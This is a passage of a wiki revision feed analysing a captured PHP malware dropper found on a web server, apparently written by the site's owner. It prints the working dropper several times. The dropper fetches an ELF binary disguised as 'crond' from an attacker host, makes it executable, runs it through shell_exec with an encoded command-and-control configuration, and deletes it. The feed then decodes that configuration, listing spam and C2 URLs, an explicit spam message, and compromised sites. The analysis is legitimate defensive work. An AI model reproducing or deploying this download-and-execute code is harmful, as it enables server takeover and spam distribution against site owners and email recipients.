	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: hxxp://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: hxxp://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1164</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1164"/>
		<updated>2015-05-06T03:53:50Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
